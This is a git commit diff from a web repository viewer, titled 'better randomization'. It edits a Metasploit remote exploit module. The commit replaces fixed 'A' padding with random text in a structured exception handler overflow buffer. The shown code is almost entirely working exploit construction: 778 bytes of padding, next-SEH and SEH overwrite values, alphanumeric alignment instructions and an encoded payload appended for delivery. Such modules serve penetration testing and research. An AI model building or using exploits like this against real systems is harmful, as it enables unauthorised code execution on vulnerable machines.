better randomization
parent
50e36d3fb0
commit
9b2797f707
|
@ -89,15 +89,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
|
||||
title = rand_text_alpha(10)
|
||||
buffer = ""
|
||||
buffer << "\x41" * 778
|
||||
buffer = ""
|
||||
buffer << rand_text_alpha(778)
|
||||
buffer << "\x58\x28" # nseh
|
||||
buffer << target['Ret'] # seh
|
||||
buffer << "\x5f\x73" * 15 # pop edi/add [ebx],dh (after byte alignment)
|
||||
buffer << "\x5f\x73" * 15 # pop edi/add [ebx],dh (after byte alignment)
|
||||
buffer << "\x58\x73" # pop eax/add [ebx],dh (after byte alignment)
|
||||
buffer << "\x40\x73" * 3 # inc eax/add [ebx],dh (after byte alignment)
|
||||
buffer << "\x40\x73" * 3 # inc eax/add [ebx],dh (after byte alignment)
|
||||
buffer << "\x40" # inc eax
|
||||
buffer << "\x73\x42" * 337 # add [ebx],dh/pop edx (after byte alignment)
|
||||
buffer << "\x73\x42" * 337 # add [ebx],dh/pop edx (after byte alignment)
|
||||
buffer << "\x73" # add [ebx],dh (after byte alignment)
|
||||
buffer << get_payload(payload.encoded)
|
||||
|
||||
|
|
Loading…
Reference in New Issue